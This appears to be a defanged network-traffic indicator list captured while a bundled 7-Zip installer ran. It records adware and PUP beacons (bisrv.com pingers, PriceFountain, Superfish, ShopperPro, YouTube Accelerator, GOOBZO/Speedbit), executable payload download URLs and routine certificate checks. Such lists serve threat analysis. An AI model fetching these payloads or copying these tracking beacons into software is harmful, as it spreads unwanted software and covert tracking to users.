hxxp://a1363.g.akamai.net/pki/crl/products/microsoftrootcert.crl
hxxp://a1363.g.akamai.net/pki/crl/products/WinPCA.crl
hxxp://a1363.g.akamai.net/pki/crl/products/MicrosoftTimeStampPCA.crl
hxxp://a1621.g.akamai.net/msdownload/update/v3/static/trustedr/en/authrootstl.cab?97ed576c83f91dc5
hxxp://gs1.wac.v2cdn.net/baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnqkc=
hxxp://hostedocsp.globalsign.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAHevvgBk+xJc0C0AAQAAd68=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD/yl6nWPkczAQUe1tFz6/Oy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS+zcBkvzl4=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRsif7263KedmR2MLuYKv9+WQCtWAQU1A1lP3q9NMb+R+dMDcC98t4Vq3ECEBILJd3le4hjatTZfSO5nIg=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBRIt2RJ89X++hEzqoBeQg8PymQ2UQQUANhaTCXBIuWLMe9tuvPMXynxDWECEGVSJuGyLhjhWQ8phawi51w=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI=
hxxp://e6845.ce.akamaiedge.net/pca3.crl
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQ/xkCfyHfJr7GQ6M658NRZ4SHo/AQUCPVR6Pv+PT1kNnxoz1t4qN+5xTcCEGC2x6sSmevembHfY1acIZk=
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEGwkCSV07gf3g5QOsqmf+MY=
hxxp://a1363.g.akamai.net/pki/crl/products/MicCodSigPCA_08-31-2010.crl
hxxp://e8218.ce.akamaiedge.net/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEEES5jLHsYoCmjofrIA6uJ8=
hxxp://q.pricejs.info/e?type=quick&topic=pf_suzan_iframe_commonjs&partner=somopf&channel=somopf&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&trinity=Z15d7t64614c&appTitle=PriceFountain&opdom=pricejs.net&instgrp=20141204__1086__lnk_aromani_70&rnd=0.54663303978589&guid=	184.72.247.223
hxxp://download.filesfrog.com/software_files/7_zip/9_20/7z920.exe	212.7.199.182
hxxp://crl.microsoft.com/pki/crl/products/microsoftrootcert.crl	87.245.202.48
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=09c1835d00ecec68e98f841ed2c68e9b&tokyo_csrf2_timestamp=1420623134&slot_number=1&index_in_screen=1&index_in_session=1&0.31860865100654706
hxxp://q.pricejs.info/e?type=quick&topic=pf_suzan_iframe_commonjs&partner=somopf&channel=somopf&hid=v5532D312D352D32312D323835383032303933352DB48A115F3C&trinity=Z15d7t64614c&appTitle=PriceFountain&opdom=pricejs.net&instgrp=20141204__1086__lnk_aromani_70&rnd=0.7000383631906624&guid=	184.72.247.223
hxxp://www.google-analytics.com/r/__utm.gif?utmwv=5.6.1&utms=1&utmn=828509355&utmhn=bi.bisrv.com&utmhid=1929844214&utmr=-&utmp=Installer_Init&utmht=1420623113968&utmac=UA-31676879-1&utmcc=__utma=1.1098259893.1420623114.1420623114.1420623114.1;+__utmz=1.1420623114.1.1.utmcsr=(direct)\|utmccn=(direct)\|utmcmd=(none);&utmjid=1864963167&utmredir=1&utmu=qhCAAAAAAAABAAAAAAAAAAAE~
hxxp://www.google-analytics.com/r/collect?v=1&_v=j31&a=951836264&t=pageview&_s=1&dl=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE&ul=en-us&de=utf-8&dt=Thank you for Installing YouTube Accelerator&sd=24-bit&sr=1716x901&vp=1700x804&je=1&_u=MEAAAAQAI~&jid=1310018547&cid=1963142124.1420623260&tid=UA-40752970-2&_r=1&z=2134389475
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=s5Ydxb c7o1WuN7nJmKQv2ixDL7TvdeXs1J ZuGTca14E7mrr1h80sSCFqUzxEuK5pBCt6gYiqqBIBBL/eAnh9cNqW9cpn67YCpHZc9ZUaH6MIOzDij/FhQC drCF7eF njmPLTFBJTHZ0SBJrLapv5CRHcVePUj6EQb8iyo3pHw4TExssR4h ULLp6NCdPUSN/NUmQOolz3sa2IRWonQ 2413TZ3pBzZ1qa tRBmxIEmumfnn3eLsmQ gNabH9smt1LIHE9GmDIiEjH/COSSg==
hxxp://www.youtubeaccelerator.com/ConversionService/getScript.ashx?s=finish
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=s5Ydxb c7o1WuN7nJmKQv2ixDL7TvdeXs1J ZuGTca14E7mrr1h80sSCFqUzxEuK5pBCt6gYiqqBIBBL/eAnh9cNqW9cpn67YCpHZc9ZUaG/QElqGjn9p9CUHeR8YCF3sp NWI2cIltPikZQYOt/VMbgudtyb2GHUpJKSCTMkzXQKXEmxfmo7VnJIjIlWHyXPyVuRvRqbhg=
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEAxNF3PJUX7iAOhAP2oGxcI=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=c0XmKevqA0lpQVXlI7MmKf3eoE116PvJQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni kRlTDLtXGXYCpHZc9ZUaGWnHTR1jDHJZGcLghnE/hl7kN6o7do63aXdDw8APThW8D0 GGhAgJQxuC523JvYYdSkkpIJMyTNdApcSbF ajtWckiMiVYfJeK7a1soWlgbXd/rihenux9UpvOoju LNg2oiiVq1SStbMubU ieQ86G2kgoeLKovQKP ZDTcKvaA==
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjn14WGxPVpt4rhVLDNrJQC44G r 3F6T77w1D5Xws0XapQUt9ysv/LeITGL7aiC8Hk2dyYR17VYOC5WBoetiu1eIu4Zx3YXXHbkP33eKXEVDuckMp0VGSOWNPI2OPMQSaf8y/TzWjMf7rKwD6t b1ZfDhMTGyxHiH5Qsuno0J09RI381SZA6iXPexrYhFaidDzRzrRm1LbPo=
hxxp://www.youtubeaccelerator.com/img/accelerating-videos.jpg
hxxp://bi.bisrv.com/pinger?event_type=offer_shown&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=youtubeaccelerator&tokyo_csrf2_key=09c1835d00ecec68e98f841ed2c68e9b&tokyo_csrf2_timestamp=1420623134&slot_number=1&index_in_screen=1&index_in_session=1&display_height=80&0.08074136007073995
hxxp://online.GOOBZO.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=f6dda681-fa4f-42bc-ac88-b4c5b9e6ab45&Password=isoNOAtn&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1420623186&SBPIDS=1&KA=1
hxxp://flex.msn.com/mstag/tag/649013f9-6914-436e-ba0b-dcbf07bc69d7/analytics.js?ver=1404240900
hxxp://d3bg798gjlk71j.cloudfront.net/yta33_sh_full.exe
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=pricefountain&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=3&index_in_screen=1&index_in_session=3&0.6734895938704455
hxxp://crl.microsoft.com/pki/crl/products/MicCodSigPCA_08-31-2010.crl	87.245.202.48
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=better_installer&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=sourceapp_network&tokyo_csrf2_key=09c1835d00ecec68e98f841ed2c68e9b&tokyo_csrf2_timestamp=1420623134&slot_number=2&index_in_screen=1&index_in_session=2&0.33988864944236435
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=8bdf8418-b466-4ed7-9e49-f26d02b7e07d&Password=79SH6wsy&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1420623187&SBPIDS=1&KA=1
hxxp://www.superfish.com/ws/sf_preloader.jsp?dlsource=viktczu&userId=92a8ad46bc8d4fd29ae885b5415e9eec&partnername=ShopperPro&CTID=xUSiF17wJSsmtycl&ver=2015.1.5.0.55
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=2fVCHF6kf8hPNjxRBLtb46yHr51bRfAK/WD6e6SZIIGq9exvwYRubwRSl12vCJvF5P1EdQrXWtvL36qVFCb7oOmWvAgGG3dl0h7WiqrqiGUM0uG3RWmTm6LQ1AVjbz2R b/YhL9w2PTXoMXpqBnYfZiMvKI16LiayBfkdHFoABe6pljsVW0GPgTxIUcsgQ wXg4f2W/FIIe57fKBs7R9TyVbkDkM9cyX4i7hnHdhdcduQ/fd4pcRUO5yQynRUZI5Y08jY48xBJp/zL9PNaMx/usrAPq35vVl8OExMbLEeIflCy6ejQnT1EjfzVJkDqJc97GtiEVqJ0PNHOtGbUts g==
hxxp://www.superfish.com/ws/retargeting/main.js?ver=2015.1.5.0.55
hxxp://online.GOOBZO.com/online/ka.aspx?CV=2.0.0.0&ProductID=12000&UserID=8bdf8418-b466-4ed7-9e49-f26d02b7e07d&Password=79SH6wsy&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1420623187&SBPIDS=1&KA=1
hxxp://ocsp.msocsp.com/MFQwUjBQME4wTDAJBgUrDgMCGgUABBQmECJms4f7i5EbxtN7NbzQCBwAdAQUUa8kJpz0aCJXgCYrO0ZiFXsezKUCE1oAAHevvgBk+xJc0C0AAQAAd68=	108.162.232.203
hxxp://online.GOOBZO.com/online/Register.aspx?CV=2.0.0.0&ProductID=12000&UserID=&Password=&OS=10&EMail=&Newsletter=&V=3.3.9.4&Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&PartnerList=
hxxp://www.youtubeaccelerator.com/finishinstall?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE
hxxp://api.jollywallet.com/affiliate/client?dist=141&sub=IF17wsmtycl&name=ShopperPro
hxxp://api.jollywallet.com/affiliate/client?dist=141&sub=iF17wJSsmtycl&name=ShopperPro
hxxp://ins.pricejs.net/dealdo/install-report?type=install&instgrp=20141204__1086__lnk_aromani_70&ver=1086&partner=somopf&channel=somopf&installId=v5532D312D352D32312D323835383032303933352DB48A115F3C&funnel=abddccbb-b7f2-4fa1-9571-e21f54ce647e&cb=758164&slug=pricefountain&winVer=362e31&cmd=2f6d757365202f706172746e65723d736f6d6f7066&adminproc=1&defaultBrowser=1&ieVer=31302e302e393230302e3136353231&firefoxv=32392e302e312028656e2d555329&chromev=33352e302e313931362e313533&operav=&&previousver=x&firstinstall=1
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjgJHDf/u7xkQoETtCpwnRwjDg9SakjfpthzGuRPC12F0Io3Hxsp018NjP1QedMB/cy/B6ujnJrtI0fJ30mPWB3MJ9BqBjylb5Pk55LBQN29raE2JuypHmFcB7Kvi1 PdRfV4GNTx99pCL 3iyUFZ9oHKmQIn4hJDvowDChOESlis=
hxxp://www.youtubeaccelerator.com/ConversionService/GetScript.ashx?s=finish&frame=1&aff=
hxxp://www.googleadservices.com/pagead/conversion.js
hxxp://bi.bisrv.com/pinger?event_type=install_fail&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=sourceapp_network&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=2&index_in_screen=1&index_in_session=2&0.461148770857849
hxxp://dfb5uyoqjsg4c.cloudfront.net/install.ashx?e=/k6kR j50tpPNjxRBLtb42Dbd/0vivstHBKWDIV8zAnOo8fXRAOTcAWwrv9hreqncfgJCYrAwfjGDr5NwV0atUjq2IY Ol30CzS9Fg9Lumbxu1y 6Ac0RKhN6psLdnSsdosECI4dMRD6OfU8/FMPXH6dYg1rlTgUy/ecrRsbq5se8sWoJl9YpG8ZBHg14Y1UpTJ2ibhTIXvL Evyupn5FoSAG857z6vSKwJgNH5xpU/aXqIIXH13rtMsjFOaa8h2Q6uT4PKaqdA1NSBLkxYXjRGH92XQHP1g8svjkMkOLYxtnlzuV8QGbxOn8Zt7Uvfxo7rTqA4tGAvJ3g/46853GMtCsCrExr/d46J8ZVZMavv3iSFFCNvSibmv2IW2mkLW4Sygye4Bx OK6Bbaa/22Ofxdive Por/pn14isD25UFAfTvOM0UfKA==
hxxp://online.speedbit.com/online/update.aspx?CV=2.0.0.0&ProductID=12000&UserID=f6dda681-fa4f-42bc-ac88-b4c5b9e6ab45&Password=isoNOAtn&OS=10&V=3.3.9.4&VS=0&Beta=0&Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&PartnerList=&ElapsedTime=1420623186&SBPIDS=1&KA=1
hxxp://repjs.shopper-pro.com/app/ping.ashx?e=QHucCbLl /bcrHBJLG9UX1Kl9avhKFDd62ls PLHCLDT03ZwnpMmri4u 59fITlqZYykKzv0Y5pOzBB1YFiFDi7au8zDkX8X4VTmYx8DZjC0lOvcR7gfC5Ogq/ZWkhdl60W2ZwZ8tLob94hM9WTZwLfS6pcjs1s3WGoyREbxM8eZ3YOu8U7Qr0yM76mYEXUjFx1x5aBaFiG9r3eipYablJaA6bIp4wLuBPFyFq4etD2F1daz2AcKxastnHeKqEA5dKHj74dJ/dzEGEjQJyNURYqMy0/V3kNGUgPiYgL5hQXHR h8JBQ8j1OLWnXpk/R5GuV/dn5uO 0pLXemSgN3uDG9a/DKr6qxojVXrHm4EUETzTZ4WWsKIRGtI/B VPIX
hxxp://i.sbitinjs.info/opt_content.js?v=opt_1419351787852&partner=sbitin&channel=sbitiniF17wJSsmtycl&sset=7&appTitle=ShopperPro&sset=7&ip=193.138.244.231
hxxp://www.google-analytics.com/analytics.js
hxxp://3026708.r.msn.com/?type=1&domainId=3026708&dedup=1&actionid=238238	207.46.194.3
hxxp://d3dle8xo1zpfnz.cloudfront.net/ytai.exe
hxxp://pix.youtubeaccelerator.com/YTAFinishInstall.gif
hxxp://googleads.g.doubleclick.net/pagead/viewthroughconversion/971163981/?random=580215148&cv=7&fst=1420623259291&num=1&fmt=3&label=DQanCNPMoRIQzZKLzwM&bg=ffffff&hl=en&guid=ON&u_h=901&u_w=1716&u_ah=857&u_aw=1716&u_cd=24&u_his=1&u_tz=120&u_java=true&u_nplug=0&u_nmime=0&frm=0&url=http://www.youtubeaccelerator.com/finishinstall/?VA_V=3.3.9.4&VA_Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&VA_br=NONE&VA_ask=NONE&VA_Beta=0&VA_Mode=3&VA_OSVer=Windows_7&VA_IsConnected=1&VA_src=1&pr=1&TSI=83&BundleID=NONE&vis=1&ctc_id=CAIVAgAAAB0CAAAA&ct_cookie_present=false&convclickts=0
hxxp://i.sbitinjs.info/sbitin/javascript.js?hid=92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec&apptitle=ShopperPro&channel=iF17wJSsmtycl
hxxp://ocsp.verisign.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBSpuCE3aK3GivZPzGQJ6L5BRyZofwQUl9BrqCZwyKE/lB8ILcQ1m6ShHvICEGwkCSV07gf3g5QOsqmf+MY=
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=hXeqmv1IpenVj9BNm3y5B 1d8a9eu4WvsXg2Ujmg/gTMtMAqTKBPI30QpZ Jj0 vMQUKzn11DFWqS3j1P9iGnLOjtqelOAq5bHiD3ocgsXa8rJULUDCmwLTVLrY3WnjaAfnYFBLZUOG9ABjuVptn8v8ankP8n9dyrKt6FFFGjDmPwcSeTfjP3YwzWtA8HvLhO/aQqt8CJEtnWpr61EGbEgSa6Z efd4uyZD6A1psf2ya3UsgcT0aYLeE9x6iyf1TdKktapUawNelj9H9NIntDWf ofqKPWEn
hxxp://www.youtubeaccelerator.com/favicon.ico
hxxp://bi.bisrv.com/pinger?event_type=install_complete&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=pricefountain&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=3&index_in_screen=1&index_in_session=3&0.09721619228999617
hxxp://crl.verisign.com/pca3.crl
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjGxrTqW15vZCY3rFz7xHa/LPiCC4paVhdEfn1yYp1le56aFvKP4OneYOe 5kzw4WYNs4P7gl7opUE8XIWrh60PYXV1rPYBwrFqy2cd4qoQDl0oePvh0n93NexvF9Z3oAvVYgO0yHAHEsZ3d0Bo9MYSMvfqpUUJvug6Za8CAYbd2XSHtaKquqIZQzS4bdFaZObMZm 8qxpeoo=
hxxp://bi.bisrv.com/network_adworkmedia_1/7zipqjkz/554f0c32df4546428c4cd4ba3636f283?v=2.1&uid=554f0c32df4546428c4cd4ba3636f283&muid=96D78F35E7B7EA4FC32736D428DF43B4
hxxp://bi.bisrv.com/pinger?event_type=offer_accepted&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=mystartsearch&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=4&index_in_screen=1&index_in_session=4&0.9934186801815898
hxxp://ocsp.omniroot.com/baltimoreroot/MEUwQzBBMD8wPTAJBgUrDgMCGgUABBTBL0V27RVZ7LBduom/nYB45SPUEwQU5Z1ZMIJHWMys+ghUNoZ7OrUETfACBAcnqkc=	93.184.220.20
hxxp://clients1.google.com/ocsp/MEkwRzBFMEMwQTAJBgUrDgMCGgUABBTy4Gr5hYodjXCbSRkjeqm1Gih+ZAQUSt0GFhu89mi1dvWBtrtiGrpagS8CCH1CfE6L0C4G
hxxp://rep.youtubeaccelerator.com/app/ping.ashx?e=4tsL8HS5LX6yUxg71rJbZoyYEmaEZ7j6iUSU3wY9EyZgKkdlz1lRodCJn6eLsjsLqfxMJlhf/MF4ibS7Xw5g1/Eh6MhNwuPK/q uWdH3fIU5l6kGsLGUjlAO3ZfaMMIS8OExMbLEeIflCy6ejQnT1EjfzVJkDqJc97GtiEVqJ0OgxcPC1hcuIIzquPWwCukZgQ7P4 BWPQu3sb/Jc9bi4CY6tkU PjWGlHVWy8T0I6XgvyObhcmYFfoQPhwnxcMnH8cmC40fo8m LpSFSTxKL2ljD9Jcv2RRzMtYCZQQKWsHziGOgUEYWqsyuDjWX8vLsJJPlhy2jdwTqcwBDTHruXFWs3G3PXIRneN3TlMvu4BSxexsDMFYdg0/niVdnGaSp2RYIisGWDvAeyr4tfj3UX1eBjU8ffaQi/t4slBWfaBypkCJ ISQ7 Vi CwQoUoiMhU/k p55wA=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=P5c0s7lb4RxpQVXlI7MmKeVK6PVHJmSVQF3UKsSdb2tLhqHnTVRQLiEdbCsTxXU3q1EvsbufcH42oiiVq1SStbMubU ieQ86G2kgoeLKovRmDHxX4aSGkKSm/NUmuZILaKig fkRtZL9dxW1pT4Ni6TBgykGtBXjxQEru0RuuZSXHFdCYmCgFwTxIUcsgQ wwCZLjKPQ6Z6hVaWFI 9Gui2BiJRR6OEh94khRQjb0om5r9iFtppC1uEsoMnuAcfjiugW2mv9tjm0wz0U6I70ghzFcuANGYcsMWZgjkQr7xlWehjSxYG/On9ufCjUouKMihexdHkHf0wrKMMG5pH3Yg==
hxxp://g.symcd.com/MEQwQjBAMD4wPDAJBgUrDgMCGgUABBSxtDkXkBa3l3lQEfFgudSiPNvt7gQUAPkqw0GRtsnCuD5V8sCXEROgByACAwI6dg==
hxxp://online.GOOBZO.com/online/RegisterAnon.aspx?ProductID=12000&Aff=smtycl1_0_0_0_0,92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec,&BundleID=NONE&BrandID=NONE&PartnerList=
hxxp://d1cfk8e4o0c4u2.cloudfront.net/p.ashx?e=2fVCHF6kf8hPNjxRBLtb46yHr51bRfAK/WD6e6SZIIGq9exvwYRubwRSl12vCJvF5P1EdQrXWtvL36qVFCb7oOmWvAgGG3dl0h7WiqrqiGUM0uG3RWmTm6LQ1AVjbz2R b/YhL9w2PTXoMXpqBnYfZiMvKI16LiayBfkdHFoABez8LjnD4BZNQQy9IgZy5lJKYX3Ti/i3YNYlTZYFVSl7BQeC5LF6ah0Wgrw Oa4ZOT9zLK691dBCx/Kp5gsiu7 yQUz6dheYMQvjIa5KtPcv0GwORpUjcC7CPnfnn4CX UbqaDgs33TNi ahcxApTUq7emB1plX 3KM8MU7L6Z1XFzslN/Oom5DbE2hSZV1srvsrduYhMMj247L51k5jm4zsBCEmBDvTUvHR h8JBQ8j1OLWnXpk/R5GuV/dn5uO 0pLXemSgN3uDG9a/DKr6qx
hxxp://install.sourceapp.info/fp?alpha=DStEDx4qVyM6CAl+ayURDG8XAh4Nd1J+XyoqBRBCCj9JD1gPWkN7dg1hLAxJTDVIUmYQWVh4KAwlF1p7FXw5e2ERIQQVbClyVBwIKH8/AgFOKkdDQBozE3sbc0VETQsIfwUbGl1RTXByCmxYFExXOElbYQxVKglBEC0VUR5aPWYCDh5uV1FNQXJUGk8lOzphDB43UlkTC38ZYxt6VUAYH1pzCBofSFZEaXYGeQoLXwI6UQg2HQkoGw5MIHULV10gYUd4B3xVS0YDKw1dEiRoIh14OyEQHBYWLBFyH3tDRk8UWjlEFHwBCRAmN0x5LFwZBGMVDyBjESkEXxUqF2keTTthW2USKQ4THChyVBc6eSxDfBo6MkNDMxItFW4fe0NPPwB4fWptb1oTbnYdAWdV
hxxp://www.superfish.com/ws/getUD.action?dlsource=viktczu&userId=0fa00a57-39e0-9484-3634-4f24bc9cabf7-0fb&ver=14.12.23
hxxp://bi.bisrv.com/pinger?event_type=install_start&installer_source=tokyo-bidl&software_type=sponsored&muid=96d78f35e7b7ea4fc32736d428df43b4&client_uid=554f0c32df4546428c4cd4ba3636f283&uniqid=ef16605e62d299cd4043233eed25bb98&affiliate_id=network_adworkmedia_1&software_id=7zipqjkz&sponsored_id=mystartsearch&tokyo_csrf2_key=8a592b1d2f67b00bcfec02d2b6749b23&tokyo_csrf2_timestamp=1420623185&slot_number=4&index_in_screen=1&index_in_session=4&0.6002109252004877
hxxp://5k9v3bc1-enehfzfv.netdna-ssl.com/app/t.ashx?uid=92a8ad46-bc8d-4fd2-9ae8-85b5415e9eec&bn=IE&bv=&shpro_url=aHR0cDovL3d3dy55b3V0dWJlYWNjZWxlcmF0b3IuY29tL2ZpbmlzaGluc3RhbGwvP1ZBX1Y9My4zLjkuNCZWQV9BZmY9c210eWNsMV8wXzBfMF8wLDkyYThhZDQ2LWJjOGQtNGZkMi05YWU4LTg1YjU0MTVlOWVlYywmVkFfYnI9Tk9ORSZWQV9hc2s9Tk9ORSZWQV9CZXRhPTAmVkFfTW9kZT0zJlZBX09TVmVyPVdpbmRvd3NfNyZWQV9Jc0Nvbm5lY3RlZD0xJlZBX3NyYz0xJnByPTEmVFNJPTgzJkJ1bmRsZUlEPU5PTkU=&prd=ShopperPro&os=Win32&id=1420623270&aff=smtycl&ver=2.0.7791.1462	198.232.124.192
hxxp://dfb5uyoqjsg4c.cloudfront.net/install.ashx?e=QgW8pN5r26bb6pdPc5QXF2lBVeUjsyYpyaqF0veJYHon W6mgwkV3fvMvmvRdHFgXKNbNNj7X1sST4rKteRix0jq2IY Ol30IKZx2SVSzVvxu1y 6Ac0RKhN6psLdnSsdosECI4dMRD6OfU8/FMPXH6dYg1rlTgUy/ecrRsbq5se8sWoJl9YpG8ZBHg14Y1UQBWGehDOL40qPeikK78R8xbc 92iXckP8dq552dZsrwGFvUtDb7RNdRX99ungVCjNg1jqLOYCUz1UWutdjAgqFU/GQ/6lQnvLO68mmZUli4qPeikK78R8xbc 92iXckPSZXO/B5hurhZv/JHT1RY7R a ue4NirQ3gfl7hBIS3pgZBHEXsyNbWynD/t/TSE8Wn2VgKtPO51I40lT/WTyfv3JjghBZswHrbrZPJWMRqeUQXQxZXIGTUFmrpPPnPUEPKp8MLmAxBRww8M76XdRS1zslN/Oom5DbE2hSZV1srvsrduYhMMj29VDu3Y6tuFjn TmElZC8XcxZmCORCvvGVZ6GNLFgb86f258KNSi4oyKF7F0eQd/TCsowwbmkfdi
hxxp://www.superfish.com/ws/css/main.css?v=2015.1.5.0.55
hxxp://ocsp.thawte.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQwF4prw9S7mCbCEHD/yl6nWPkczAQUe1tFz6/Oy3r9MZIaarbzRutXSFACEEeXTXhzpbyrDS+zcBkvzl4=	23.43.139.27
hxxp://ocsp.digicert.com/MFEwTzBNMEswSTAJBgUrDgMCGgUABBQgppSLAb7oJaQ6RVV2Zh9VwZIGMwQUkHHbN+tzyO/c1R4StjS6K1qgppICEAhNBHHxCxzajegaZLj8jyw=
